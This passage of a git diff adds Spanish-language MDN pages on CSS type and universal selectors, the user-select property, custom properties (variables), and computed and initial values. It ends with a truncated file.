+ <dd>Counting items and pages is an easy task in CSS. Learn to use {{cssxref("counter-reset")}}, {{cssxref("counter-increment")}}, {{cssxref("counters", "counters()")}}, and {{cssxref("counter", "counter()")}}.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/CSS/Tutorials/Using_CSS_animations" title="https://developer.mozilla.org/en-US/docs/CSS/Using_CSS_animations">CSS Animations</a></dt>
+ <dd>CSS3 Animations allow you to define configurations of style, as <a href="/en-US/docs/CSS/@keyframes" title="/en-US/docs/CSS/@keyframes">keyframes</a>, and to transition between them defining an animation.</dd>
+ <dt><a href="/en-US/docs/CSS/Tutorials/Using_CSS_transitions" title="/en-US/docs/CSS/Using_CSS_transitions">CSS Transitions</a></dt>
+ <dd>CSS3 Transitions allow you to define an animation between several styles and to control the way this transition happens.</dd>
+ <dt><a href="/en-US/docs/CSS/Tutorials/Using_CSS_transforms">CSS Transforms</a></dt>
+ <dd>Transforms allow you to change the position of elements by modifying their coordinate space: it allows for translating, rotating, and deforming them in the 2D or 3D spaces.</dd>
+ <dt><a href="/en-US/docs/CSS/Using_CSS_gradients" title="/en-US/docs/CSS/Using_CSS_gradients">CSS Gradients</a></dt>
+ <dd>Gradients are images that transition smoothly from one color to another. There are several types of gradients allowed in CSS: linear or radial, repeating or not. This tutorial describes how to use them.</dd>
+</dl>
+
+<h2 id="Advanced-level_CSS_tutorials">Advanced-level CSS tutorials</h2>
+
+<p>CSS also got new features allowing you to create complex layouts. Though the simplest way to achieve such layout, they are more complex to use for people without too much experience.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/CSS/Using_CSS_multi-column_layouts" title="/en-US/docs/CSS/Using_CSS_multi-column_layouts">CSS multi-column layouts</a></dt>
+ <dd>CSS3 introduces a new layout allowing you to easily define multiple columns in an element. Though multi-column text is not that common on devices like screens, this is particularly useful on printed pages, or for indexes.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/CSS/Using_CSS_flexible_boxes" title="https://developer.mozilla.org/en-US/docs/CSS/Using_CSS_flexible_boxes">CSS flexible boxes layouts</a></dt>
+ <dd>This new layout allow you to give boxes flexibility, allowing them to be resized smoothly. It is a powerful way to describe complex interfaces.</dd>
+</dl>
+
+<p> </p>
diff --git a/files/es/web/css/type_selectors/index.html b/files/es/web/css/type_selectors/index.html
new file mode 100644
index 0000000000..54ddb66bb0
--- /dev/null
+++ b/files/es/web/css/type_selectors/index.html
@@ -0,0 +1,84 @@
+---
+title: Selectores de tipo
+slug: Web/CSS/Type_selectors
+tags:
+  - CSS
+  - Principiante
+  - Referencia CSS
+  - Selectores
+translation_of: Web/CSS/Type_selectors
+---
+<div>{{CSSRef}}</div>
+
+<div>El selector de tipo CSS selecciona elementos por nombre de nodo. En otras palabras, selecciona todos los elementos del tipo dado dentro de un documento.</div>
+
+<div> </div>
+
+<pre class="brush: css">/* Todos los elementos &lt;a&gt; */
+a {
+  color: red;
+}</pre>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">element { <em>style properties</em> }
+</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">span {
+  background-color: skyblue;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;span&gt;Aquí hay un elemento 'span' con algo de texto.&lt;/span&gt;
+&lt;p&gt;Aquí hay un elemento 'p' con algo de texto.&lt;/p&gt;
+&lt;span&gt;Aquí hay un elemento 'span' con más texto.&lt;/span&gt;
+</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample('Ejemplo', 200, 150)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#type-selectors', 'Type (tag name) selector')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Ningún cambio.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#type-selectors', 'type selectors')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Ningún cambio.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'selector.html#type-selectors', 'type selectors')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#basic-concepts', 'type selectors')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{Compat("css.selectors.type")}}</p>
+
+<div id="compat-mobile"> </div>
diff --git a/files/es/web/css/universal_selectors/index.html b/files/es/web/css/universal_selectors/index.html
new file mode 100644
index 0000000000..4dae987739
--- /dev/null
+++ b/files/es/web/css/universal_selectors/index.html
@@ -0,0 +1,106 @@
+---
+title: Selectores universales
+slug: Web/CSS/Universal_selectors
+tags:
+  - CSS
+  - Principiante
+  - Referencia CSS
+  - Selectores
+translation_of: Web/CSS/Universal_selectors
+---
+<div>{{CSSRef}}</div>
+
+<p>El <strong>selector universal</strong> CSS (<code>*</code>) coincide con elementos de cualquier tipo.</p>
+
+<pre class="brush: css no-line-numbers">/* Selecciona todos los elementos */
+* {
+  color: green;
+}</pre>
+
+<p>A partir de CSS3, el asterisco se puede usar en combinación con {{cssxref("CSS_Namespaces", "namespaces")}}:</p>
+
+<ul>
+ <li><code>ns|*</code> - coincide con todos los elementos en el espacio de nombres <em>ns</em></li>
+ <li><code>*|*</code> - coincide con todos los elementos</li>
+ <li><code>|*</code> - matches all elements without any declared namespace</li>
+</ul>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">* { <em>style properties</em> }</pre>
+
+<p>El asterisco es opcional con selectores simples. Por ejemplo, <code>*.warning</code> y <code>.warning</code> son equivalentes.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">* [lang^=en] {
+  color: green;
+}
+
+*.warning {
+  color: red;
+}
+
+*#maincontent {
+  border: 1px solid blue;
+}
+
+.floating {
+  float: left
+}
+
+/* despejar automáticamente el siguiente hermano después de un elemento flotante */
+.floating + * {
+  clear: left;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="warning"&gt;
+  &lt;span lang="en-us"&gt;Un span verde&lt;/span&gt; en un párrafo rojo.&lt;/span&gt;
+&lt;/p&gt;
+&lt;p id="maincontent" lang="en-gb"&gt;
+  &lt;span class="warning"&gt;Un span rojo&lt;/span&gt; en un párrafo verde.&lt;/span&gt;
+&lt;/p&gt;</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample('Ejemplos')}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#the-universal-selector', 'universal selector')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Ningún cambio.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#universal-selector', 'universal selector')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Define el comportamiento con respecto a los espacios de nombres y agrega la sugerencia de que se permite omitir el selector dentro de los pseudo-elementos.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'selector.html#universal-selector', 'universal selector')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Definición Inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+
+
+<p>{{Compat("css.selectors.universal")}}</p>
diff --git a/files/es/web/css/user-select/index.html b/files/es/web/css/user-select/index.html
new file mode 100644
index 0000000000..0e597df92a
--- /dev/null
+++ b/files/es/web/css/user-select/index.html
@@ -0,0 +1,138 @@
+---
+title: user-select
+slug: Web/CSS/user-select
+translation_of: Web/CSS/user-select
+---
+<div>{{CSSRef}}</div>
+
+<p>La propiedad <a href="/en-US/docs/Web/CSS">CSS </a><code><strong>user-select</strong></code> controla si el usuario puede seleccionar el texto. Esto no tiene ningún efecto en el contenido cargado bajo {{Glossary("Chrome", "chrome")}}, excepto en cuadros de texto.</p>
+
+<pre class="brush:css">/* Valores de palabras clave */
+user-select: none;
+user-select: auto;
+user-select: text;
+user-select: contain;
+user-select: all;
+
+/* Varoles globales */
+user-select: inherit;
+user-select: initial;
+user-select: unset;
+
+/* Valores Mozilla-specific */
+-moz-user-select: none;
+-moz-user-select: text;
+-moz-user-select: all;
+
+/* Valores WebKit-specific */
+-webkit-user-select: none;
+-webkit-user-select: text;
+-webkit-user-select: all; /* No funciona el Safari; solo usa
+                             "none" or "text", o si no hará
+                             permitir escribir en el contenedor &lt;html&gt; */
+
+/* Valores Microsoft-specific */
+-ms-user-select: none;
+-ms-user-select: text;
+-ms-user-select: element;
+</pre>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntaxis">Syntaxis</h2>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>El texto y sus sub elementos no son seleccionables. Tenga en cuenta que el objeto {{domxref("Selection")}} puede contener estos elementos.</dd>
+ <dt><code>auto</code></dt>
+ <dd>El valor calculado auto se determina de la siguiente manera: En los pseudo elementos <code>::before</code> y <code>::after</code>, el valor calculado es <code>none</code>
+ <ul>
+  <li>Si el elemento es un elemento editable, el valor calculado es <code>contain</code></li>
+  <li>De lo contrario, si el valor calculador de <code>user-select</code> en la matriz de este elemento es <code>all</code>, el valor calculado es <code>all</code></li>
+  <li>De lo contrario, si el valor calulado de <code>user-select</code>  en la matriz de este elemento es  <code>none</code>, el valor calculado es <code>none</code></li>
+  <li>De lo contrario, el valor calculado es <code>text</code></li>
+ </ul>
+ </dd>
+ <dt><code>text</code></dt>
+ <dd>El texto puede ser seleccionado por el usuario.</dd>
+ <dt><code>all</code></dt>
+ <dd>En el editor HTML, si  se realiza doble-click o click-contextual en el subelemento, se seleccionará el antecesor más alto de el valor.</dd>
+ <dt><code>contain</code></dt>
+ <dd>Permite que la selección comience dentro del elemento; sin embargo, la selección estará contenida por los límites de ese elemento.</dd>
+ <dt><code>element</code>{{non-standard_inline}} (IE-specific alias)</dt>
+ <dd>Igual que <code>contain</code>. Solo lo soportado en Internet Explorer.</dd>
+</dl>
+
+<div class="note">
+<p id="Formal_syntax"><strong>Nota:</strong> CSS UI 4 <a href="https://github.com/w3c/csswg-drafts/commit/3f1d9db96fad8d9fc787d3ed66e2d5ad8cfadd05">renombra user-select: a contain</a>.</p>
+</div>
+
+<h3 id="Formal_syntax_2">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Debería poder seleccionar este texto.&lt;/p&gt;
+&lt;p class="unselectable"&gt;No puedes seleccionar este texto&lt;/p&gt;
+&lt;p class="all"&gt;Al hacer clic una vez se seleccionará todo este texto.&lt;/p&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.unselectable {
+  -moz-user-select: none;
+  -webkit-user-select: none;
+  -ms-user-select: none;
+  user-select: none;
+}
+
+.all {
+  -moz-user-select: all;
+  -webkit-user-select: all;
+  -ms-user-select: all;
+  user-select: all;
+}
+</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample("Examples")}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 UI', '#propdef-user-select', 'user-select')}}</td>
+   <td>{{Spec2('CSS4 UI')}}</td>
+   <td>Initial definition. Also defines <code>-webkit-user-select</code> as a deprecated alias of <code>user-select</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+<div class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si desea contribuir con los datos, visite<br>
+<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíenos una solicitud.</div>
+
+<p>{{Compat("css.properties.user-select")}}</p>
+</div>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>{{Cssxref("::selection")}}</li>
+ <li>The JavaScript {{domxref("Selection")}} object.</li>
+ <li><a href="http://www.w3.org/TR/css-ui-4/#propdef-user-select">user-select</a> in <a href="http://www.w3.org/TR/css-ui-4/">CSS Basic User Interface Module Level 4</a>.</li>
+</ul>
diff --git a/files/es/web/css/using_css_custom_properties/index.html b/files/es/web/css/using_css_custom_properties/index.html
new file mode 100644
index 0000000000..8bbb298ed6
--- /dev/null
+++ b/files/es/web/css/using_css_custom_properties/index.html
@@ -0,0 +1,267 @@
+---
+title: Uso de propiedades personalizadas (variables) en CSS
+slug: Web/CSS/Using_CSS_custom_properties
+tags:
+  - CSS
+  - Guía
+  - Propiedades personalizadas CSS
+  - Varables CSS
+  - Web
+translation_of: Web/CSS/Using_CSS_custom_properties
+---
+<div>{{cssref}}</div>
+
+<p>En CSS, las <strong>propiedades personalizadas</strong> (también conocidas como<strong> variables</strong>) son entidades definidas por autores de CSS que contienen valores específicos que se pueden volver a utilizar en un documento. Se establecen mediante la notación de propiedades personalizadas (por ejemplo,<strong> </strong><strong><code>--main-color: black;</code></strong>) y se acceden mediante la función {{cssxref("var", "var()")}} (por ejemplo, color: <strong><code>var (--main-color);</code></strong>).</p>
+
+<p>Sitios web complejos tienen cantidades muy grandes de CSS, a menudo con una gran cantidad de valores repetidos. Por ejemplo, el mismo color se puede utilizar en cientos de lugares diferentes, lo cual requiere buscar y reemplazar globalmente si necesitamos cambiar ese color. Las variables CSS permiten que un valor se almacene en un lugar y luego se haga referencia en varios otros lugares. Un beneficio adicional son los identificadores semánticos. Por ejemplo <strong><code>--main-text-color</code></strong> es más fácil de entender que <strong><code>#00ff00</code></strong>, especialmente si este mismo color también se utiliza en otro contexto.</p>
+
+<p>Las variables CSS están sujetas a la cascada, y heredan su valor de su padre.</p>
+
+<h2 id="Uso_Básico">Uso Básico</h2>
+
+<p>Para declarar propiedades personalizadas (variables) usamos un nombre que comienze con dos guiones (<code>--</code>), y un valor que puede ser cualquier valor válido de CSS. Como cualquier otra propiedad, la escribimos dentro de un set de reglas de estilo, algo así:</p>
+
+<pre class="brush:css; highlight:[2]  language-css notranslate">elemento {
+  --main-bg-color: brown;
+}
+</pre>
+
+<p>Ten en cuenta que el selector que usemos para las reglas de estilo define el ámbito (scope) en el que podremos usar la propiedad personalizada (variable). Una buena práctica común es declarar variables en la pseudo-clase {{cssxref(":root")}}, y así aplicarlas globalmente al documento HTML:</p>
+
+<pre class="brush: css notranslate">:root {
+  --main-bg-color: brown;
+}</pre>
+
+<p>Sin embargo, esto no tiene por qué ser siempre así: podrían haber muy buenas razones para querer limitar el ámbito de tus propiedades personalizadas.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Los nombres de propiedades personalizadas son case sensitive (distinguen entre mayúsuculas y minúsculas) — <code>--my-color</code> será tratado como una propiedad personalizada distinta a <code>--My-color</code>.</p>
+</div>
+
+<p>Como mencionamos anteriormente, para acceder al valor de una propiedad personalizada usamos el nombre de la propiedad dentro de la función {{cssxref("var()")}}, en lugar de cualquier otro valor normal:</p>
+
+<pre class="brush:css; highlight:[2]  language-css notranslate">elemento {
+  background-color: var(--main-bg-color);
+}
+</pre>
+
+<h2 id="Primeros_pasos_con_propiedades_personalizadas_variables">Primeros pasos con propiedades personalizadas (variables)</h2>
+
+<p>Comencemos con este simple CSS que colorea elementos de diferentes clases con el mismo color:</p>
+
+<div id="sample1">
+<pre class="brush:css; highlight:[3,20,26,32] notranslate">.uno {
+  color: white;
+  background-color: brown;
+  margin: 10px;
+  width: 50px;
+  height: 50px;
+  display: inline-block;
+}
+
+.dos {
+  color: white;
+  background-color: black;
+  margin: 10px;
+  width: 150px;
+  height: 70px;
+  display: inline-block;
+}
+.tres {
+  color: white;
+  background-color: brown;
+  margin: 10px;
+  width: 75px;
+}
+.cuatro {
+  color: white;
+  background-color: brown;
+  margin: 10px;
+  width: 100px;
+}
+
+.cinco {
+  background-color: brown;
+}
+
+</pre>
+
+<p>Lo aplicaremos a este HTML:</p>
+
+<pre class="brush:html notranslate">&lt;div&gt;
+    &lt;div class="uno"&gt;1:&lt;/div&gt;
+    &lt;div class="dos"&gt;2: Texto &lt;span class="cinco"&gt;5 - más texto&lt;/span&gt;&lt;/div&gt;
+    &lt;input class="tres"&gt;
+    &lt;textarea class="cuatro"&gt;4: Lorem Ipsum&lt;/textarea&gt;
+&lt;/div&gt;
+</pre>
+
+<p>... lo cual nos lleva a esto:</p>
+
+<p>{{EmbedLiveSample("sample1",600,180)}}</p>
+
+<p>Observa la repetición en el CSS. El color de fondo se pone a marrón (<code>brown</code>) en varios lugares. Para algunas declaraciones CSS, es posible declarar esto más alto en la cascada y dejar que la herencia CSS resuelva este problema de forma natural. Para proyectos no triviales, esto no siempre es posible. Al declarar una variable en la pseudo-clase {{cssxref(":root")}}, podemos evitar repetición usando la variable.</p>
+</div>
+
+<div id="sample2">
+<pre class="brush: css notranslate">:root {
+  --main-bg-color: brown;
+}
+
+.uno {
+  color: white;
+  background-color: var(--main-bg-color);
+  margin: 10px;
+  width: 50px;
+  height: 50px;
+  display: inline-block;
+}
+
+.dos {
+  color: white;
+  background-color: black;
+  margin: 10px;
+  width: 150px;
+  height: 70px;
+  display: inline-block;
+}
+.tres {
+  color: white;
+  background-color: var(--main-bg-color);
+  margin: 10px;
+  width: 75px;
+}
+.cuatro {
+  color: white;
+  background-color: var(--main-bg-color);
+  margin: 10px;
+  width: 100px;
+}
+
+.cinco {
+  background-color: var(--main-bg-color);
+}
+</pre>
+</div>
+
+<p>Esto conduce al mismo resultado que el ejemplo anterior pero permite una declaración canónica de la propiedad deseada; muy útil si queremos cambiar el valor en toda la página más tarde.</p>
+
+<h2 id="Herencia_de_propiedades_personalizadas">Herencia de propiedades personalizadas</h2>
+
+<p>Las propiedades personalizadas heredan. Lo que significa que si no se establece ningún valor para una propiedad personalizada en un elemento dado, se utiliza el valor de su elemento padre. Veámos el siguiente HTML:</p>
+
+<pre class="brush: html notranslate">&lt;div class="uno"&gt;
+  &lt;div class="dos"&gt;
+    &lt;div class="tres"&gt;&lt;/div&gt;
+    &lt;div class="cuatro"&gt;&lt;/div&gt;
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p>... con el siguiente CSS:</p>
+
+<pre class="brush: css notranslate">.dos {
+  --test: 10px;
+}
+
+.tres {
+  --test: 2em;
+}
+</pre>
+
+<p>En este caso, los resultados de <code>var(--test)</code> son:</p>
+
+<ul>
+ <li>Para el elemento <code>class="dos"</code>: <code>10px</code></li>
+ <li>Para el elemento <code>class="tres"</code>: <code>2em</code></li>
+ <li>Para el elemento <code>class="cuatro"</code>: <code>10px</code> (heredado de su padre)</li>
+ <li>Para el elemento <code>class="uno"</code>: <em>valor no válido</em>, que es el valor predeterminado de cualquier propiedad personalizada.</li>
+</ul>
+
+<p>Tenga en cuenta que éstas son propiedades personalizadas, no variables reales como podemos encontrar en otros lenguajes de programación. El valor se calcula donde sea necesario, no se almacena para su uso en otras reglas. Por ejemplo, no se puede declarar una propiedad para un elemento y esperar recuperarla en las reglas del descendiente de un hermano. La propiedad sólo está configurada para el selector que coincida y sus descendientes, como cualquier CSS normal.</p>
+
+<h2 id="Valores_de_sustitución_fallback_de_propiedades_personalizadas">Valores de sustitución (fallback) de propiedades personalizadas</h2>
+
+<p>Utilizando <code><a href="/es/docs/Web/CSS/var">var()</a></code> podemos definir múltiples <strong> valores de sustitución (fallback)</strong> que se usarán cuando la variable dada no está definida aún; esto puede ser útil cuando se trabaja con <a href="/es/docs/Web/Web_Components/Using_custom_elements">Custom Elements</a> y <a href="/es/docs/Web/Web_Components/Using_shadow_DOM">Shadow DOM</a>.</p>
+
+<div class="note">
+<p><strong>Los valores de sustitución (fallback) no se usan para arreglar problemas de compatibilidad del navegador.</strong> Si el navegador no tiene soporte para Propiedades Personalizadas de CSS, el valor de fallback no es de ayuda. <strong>Es simplemente un respaldo para que aquellos navegadores que sí soportan Propiedades Personalizadas de CSS</strong> puedan elegir un valor diferente en caso de que la variable no se haya definido o contenga un valor no válido.</p>
+</div>
+
+<p>El primer argumento a la función es el nombre de la <a href="https://www.w3.org/TR/css-variables/#custom-property"> propiedad personalizada </a> que se va a sustituir. El segundo argumento a la función, si se proporciona, es un valor de reserva, que se utiliza como valor de sustitución cuando la <a href="https://www.w3.org/TR/css-variables/#custom-property"> propiedad personalizada </a> referenciada no es válida. La función solo acepta dos parámetros, asignando todo lo que después de la primera coma como el segundo parámetro. Si ese segundo parámetro es inválido, por ejemplo una lista de valores separados por comas, el fallback fallará. Por ejemplo:</p>
+
+<pre class="brush: css notranslate">.dos {
+  color: var(--my-var, red); /* Rojo (red) si --my-var no esta definida */
+}
+
+.tres {
+  background-color: var(--my-var, var(--my-background, pink)); /* Rosa (pink) si my-var y --my-background no están definidas */
+}
+
+.tres {
+  background-color: var(--my-var, --my-background, pink); /* Invalido: "--background, pink" */
+}</pre>
+
+<p>Como vemos en el segundo ejemplo de arriba, la manera correcta de incluir más de un fallback es usar una propiedad personalizada como fallback (la cual tiene su propio fallback). Esta técnica se ha visto que puede causar problemas de rendimiento al tomar más tiempo analizar las variables.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> La sintaxis del fallback, como la de las <a href="https://www.w3.org/TR/css-variables/#custom-property">propiedades personalizadas</a>, permite comas. Por ejemplo, <code>var(--foo, red, blue)</code> define un fallback de <code>red, blue</code> — es decir, cualquier cosa entre la primera coma y el final de la función se considera un valor de fallback.</p>
+</div>
+
+<h2 id="Validez_y_valores">Validez y valores</h2>
+
+<p>El clásico concepto de validez en CSS, vinculado a cada propiedad, no es muy útil con respecto a las propiedades personalizadas. Cuando se analizan los valores de las propiedades personalizadas, el navegador no sabe dónde se utilizarán, por lo que debe considerar casi todos los valores como <em>válidos</em>.</p>
+
+<p>Desafortunadamente, estos valores válidos se pueden usar, a través de la notación funcional <code>var()</code>, en un contexto en el que tal vez no tengan sentido. Propiedades y variables personalizadas pueden llevar a declaraciones CSS no válidas, dando lugar al nuevo concepto de <em>válido en tiempo calculado.</em></p>
+
+<h2 id="¿Qué_pasa_con_los_valores_inválidos">¿Qué pasa con los valores inválidos?</h2>
+
+<p>Cuando el navegador encuentra una sustitución inválida con <code>var()</code>, se usará el valor inicial o heredado.</p>
+
+<p>Considera el siguiente fragmento:</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;p&gt;This paragraph is initial black.&lt;/p&gt; </pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">:root { --text-color: 16px; }
+p { color: blue; }
+p { color: var(--text-color); }</pre>
+
+<p>Como esperaríamos, el navegador sustituye <code>var(--text-color)</code> con el valor de <code>--text-color</code>, pero <code>16px</code> no es un valor válido para la propiedad {{cssxref("color")}}. Después de la sustitución, la propiedad no tiene sentido. El navegador maneja esta situación en dos pasos:</p>
+
+<ol>
+ <li>Comprueba si la propiedad color se puede heredar. Sí, pero el elemento <code>&lt;p&gt;</code> no tiene un padre con una propiedad color. Así que pasamos al siguiente paso.</li>
+ <li>Toma el valor de su <strong>valor inicial por defecto</strong>.</li>
+</ol>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample('What_happens_with_invalid_variables')}}</p>
+
+<p>El color del párrafo no será azul (blue) porque la sustición inválida se reemplaza con el valor inicial, no el fallback. Si hubiéramos escrito <code>color: 16px</code> sin ninguna sustitución de variables, sería entonces un error de sintaxis. La declaración anterior será usada.</p>
+
+<h2 id="Valores_en_JavaScript">Valores en JavaScript</h2>
+
+<p>Para utilizar los valores de las propiedades personalizadas en JavaScript, es como las propiedades estándar.</p>
+
+<pre class="brush: js notranslate">// Obtener la variable desde el estilo inline
+element.style.getPropertyValue("--my-var");
+
+// Obtener variable desde cualquier lugar
+getComputedStyle(element).getPropertyValue("--my-var");
+
+// Establecer variable en estilo inline
+element.style.setProperty("--my-var", jsVar + 4);
+</pre>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p>{{Compat("css.properties.custom-property")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/--*" title="The documentation about this has not yet been written; please consider contributing!"><code>custom properties</code></a></li>
+</ul>
diff --git a/files/es/web/css/valor_calculado/index.html b/files/es/web/css/valor_calculado/index.html
new file mode 100644
index 0000000000..9112bf97b5
--- /dev/null
+++ b/files/es/web/css/valor_calculado/index.html
@@ -0,0 +1,30 @@
+---
+title: Valor calculado
+slug: Web/CSS/Valor_calculado
+tags:
+  - Referencia_CSS
+translation_of: Web/CSS/computed_value
+---
+<p><br>
+ {{ CSSRef() }}</p>
+<h3 id="Sumario" name="Sumario">Sumario</h3>
+<p>El valor <b>computed value</b> de una propiedad CSS es computado a partir de <a href="es/CSS/specified_value">specified value</a> de la siguiente forma:</p>
+<ul>
+ <li>Mediante los valores especiales <code><a href="es/CSS/inherit">inherit</a></code> y <code><a href="es/CSS/initial">initial</a></code>, y</li>
+ <li>Realizando el cómputo necesario para alcanzar el valor descrito en la línea de "Computed value" del sumario de la propiedad.</li>
+</ul>
+<p>El cálculo necesario para el "Computed value" de una propiedad, normalmente implica convertir valores relativos (como los expresados en unidades 'em' o en porcentajes) a valores absolutos.</p>
+<p>Por ejemplo: si un elemento tiene un valor especificado de <code>font-size: 16px</code> y <code>padding-top: 2em</code>, el valor computado de <code>padding-top</code> es <code>32px</code> (el doble del tamaño de la fuente).</p>
+<p>Sin embargo, para algunas propiedades (aquellas con porcentajes relativos a algo que necesita un formato para ser determinados, tales como <a href="es/CSS/width">width</a>, <a href="es/CSS/margin-right">margin-right</a>, <a href="es/CSS/text-indent">text-indent</a>, y <a href="es/CSS/top">top</a>) los valores especificados en porcentajes se tornan valores computados. Ademas,los números especificados sin unidades en la propiedad <a href="es/CSS/line-height">line-height</a> se convierten en valores computados, según se especifica. Estos valores relativos que quedan tras realizar el cómputo, se hacen absolutos cuando se determina el <a href="es/CSS/used_value">used value</a>.</p>
+<p>El uso principal de <a href="es/CSS/computed_value">computed value</a> (ademas de ser un paso de transición entre <a href="es/CSS/specified_value">specified value</a> y <a href="es/CSS/used_value">used value</a>) es <a href="es/CSS/inherited_and_non-inherited_properties">inheritance</a>, incluyendo la palabra clave <a href="es/CSS/inherit">inherit</a>.</p>
+<h3 id="Notas" name="Notas">Notas</h3>
+<p>La API DOM <a href="es/DOM/window.getComputedStyle">getComputedStyle</a> devuelve <a href="es/CSS/used_value">used value</a>, en lugar de <a href="es/CSS/computed_value">computed value</a>.</p>
+<h3 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n">Ver también</h3>
+<p><a href="es/CSS/specified_value">specified value</a>, <a href="es/CSS/used_value">used value</a>, <a href="es/CSS/actual_value">actual value</a></p>
+<p> </p>
+<p> </p>
+<p> </p>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/CSS/computed_value", "fr": "fr/CSS/Valeur_calcul\u00e9e", "ja": "ja/CSS/computed_value", "pl": "pl/CSS/warto\u015b\u0107_wyliczona" } ) }}</p>
diff --git a/files/es/web/css/valor_inicial/index.html b/files/es/web/css/valor_inicial/index.html
new file mode 100644
index 0000000000..a6bbcdf32d
--- /dev/null
+++ b/files/es/web/css/valor_inicial/index.html
@@ -0,0 +1,26 @@
+---
+title: Valor inicial
+slug: Web/CSS/Valor_inicial
+tags:
+  - CSS
+  - 'CSS:Referencias'
+  - Todas_las_Categorías
+translation_of: Web/CSS/initial_value
+---
+<p>
+</p><p>&lt;&lt; <a href="es/Gu%c3%ada_de_referencia_de_CSS">Volver</a>
+</p>
+<h3 id="Resumen" name="Resumen"> Resumen </h3>
+<p>El <b>Valor inicial</b> dado en el resumen de cada definición de <a href="es/Gu%c3%ada_de_referencia_de_CSS">propiedad CSS</a> tiene un significado distinto según se trate de <a href="es/CSS/inheritance#Propiedades_heredadas_y_no_heredadas">propiedades heredadas o no heredadas</a>.
+</p><p>Para propiedades <a href="es/CSS/inheritance#Propiedades_heredadas_y_no_heredadas">heredadas</a>, se usa el valor inicial, para el elemento raíz <b>solamente</b>, cuando no se ha especificado ningún valor para el elemento. </p><p>Para propiedades <a href="es/CSS/inheritance#Propiedades_heredadas_y_no_heredadas">no heredadas</a> se usa el valor inicial para <b>todos</b> los elementos, cuando no se especificó nigún valor para el elemento. </p><p>En CSS3 se propuso el valor <code><a href="es/CSS/initial">initial</a></code> para permitir a los autores especificar explícitamente éste valor inicial.
+</p>
+<h3 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n"> Ver también </h3>
